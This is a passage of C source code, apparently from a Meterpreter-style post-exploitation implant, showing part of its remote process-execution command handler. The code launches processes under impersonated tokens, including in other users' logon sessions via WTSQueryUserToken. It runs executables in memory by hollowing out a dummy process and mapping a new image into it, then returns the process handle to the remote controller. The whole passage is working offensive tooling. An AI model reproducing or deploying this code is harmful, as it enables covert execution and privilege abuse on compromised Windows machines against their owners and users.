				wchar_t * wdesktop = NULL;
				size_t size = 0;

				result = GetLastError();

				// sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only
				// available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO.
				if (result == ERROR_PRIVILEGE_NOT_HELD)
				{
					do
					{
						hAdvapi32 = LoadLibrary("advapi32.dll");
						if (!hAdvapi32)
						{
							break;
						}

						pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress(hAdvapi32, "CreateProcessWithTokenW");
						if (!pCreateProcessWithTokenW)
						{
							break;
						}

						// convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)...
						size = mbstowcs(NULL, commandLine, 0);
						if (size == (size_t)-1)
						{
							break;
						}

						wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
						mbstowcs(wcmdline, commandLine, size);

						if (si.lpDesktop)
						{
							size = mbstowcs(NULL, (char *)si.lpDesktop, 0);
							if (size != (size_t)-1)
							{
								wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
								mbstowcs(wdesktop, (char *)si.lpDesktop, size);
								si.lpDesktop = (LPSTR)wdesktop;
							}
						}

						if (!pCreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi))
						{
							result = GetLastError();
							dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result);
							break;
						}

						result = ERROR_SUCCESS;

					} while (0);

					if (hAdvapi32)
					{
						FreeLibrary(hAdvapi32);
					}

					SAFE_FREE(wdesktop);
					SAFE_FREE(wcmdline);
				}
				else
				{
					dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result);
					break;
				}
			}

			if (lpfnDestroyEnvironmentBlock && pEnvironment)
			{
				lpfnDestroyEnvironmentBlock(pEnvironment);
			}

			if (NULL != hUserEnvLib)
			{
				FreeLibrary(hUserEnvLib);
			}
		}
		else if (flags & PROCESS_EXECUTE_FLAG_SESSION)
		{
			typedef BOOL(WINAPI * WTSQUERYUSERTOKEN)(ULONG SessionId, PHANDLE phToken);
			WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
			HANDLE hToken = NULL;
			HMODULE hWtsapi32 = NULL;
			BOOL bSuccess = FALSE;
			DWORD dwResult = ERROR_SUCCESS;

			do
			{
				// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
				hWtsapi32 = LoadLibraryA("wtsapi32.dll");

				session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION);

				if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
				{
					if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
					{
						BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
					}
				}
				else
				{
					pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress(hWtsapi32, "WTSQueryUserToken");
					if (!pWTSQueryUserToken)
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed");
					}

					if (!pWTSQueryUserToken(session, &hToken))
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
					}

					if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
					}
				}

			} while (0);

			if (hWtsapi32)
			{
				FreeLibrary(hWtsapi32);
			}

			if (hToken)
			{
				CloseHandle(hToken);
			}

			result = dwResult;

			if (result != ERROR_SUCCESS)
			{
				break;
			}
		}
		else
		{
			// Try to execute the process
			if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
			{
				result = GetLastError();
				break;
			}
		}

		//
		// Do up the in memory exe execution if the user requested it
		//
		if (doInMemory)
		{

			//
			// Unmap the dummy executable and map in the new executable into the
			// target process
			//
			if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, inMemoryData.buffer))
			{
				result = GetLastError();
				break;
			}

			//
			// Resume the thread and let it rock...
			//
			if (ResumeThread(pi.hThread) == (DWORD)-1)
			{
				result = GetLastError();
				break;
			}

		}

		// check for failure here otherwise we can get a case where we
		// failed but return a process id and this will throw off the ruby side.
		if (result == ERROR_SUCCESS)
		{
			// if we managed to successfully create a channelized process, we need to retain
			// a handle to it so that we can shut it down externally if required.
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED
				&& ctx != NULL)
			{
				dprintf("[PROCESS] started process 0x%x", pi.hProcess);
				ctx->pProcess = pi.hProcess;
			}

			// Add the process identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);

			packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess);

			CloseHandle(pi.hThread);
		}

	} while (0);

	// Close the read side of stdin and the write side of stdout
	if (in[0])
	{
		CloseHandle(in[0]);
	}
	if (out[1])
	{
		CloseHandle(out[1]);
	}

	// Free the command line if necessary
	if (path && arguments && commandLine)
	{
		free(commandLine);
	}

	if (cpDesktop)
	{
		free(cpDesktop);
	}

	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}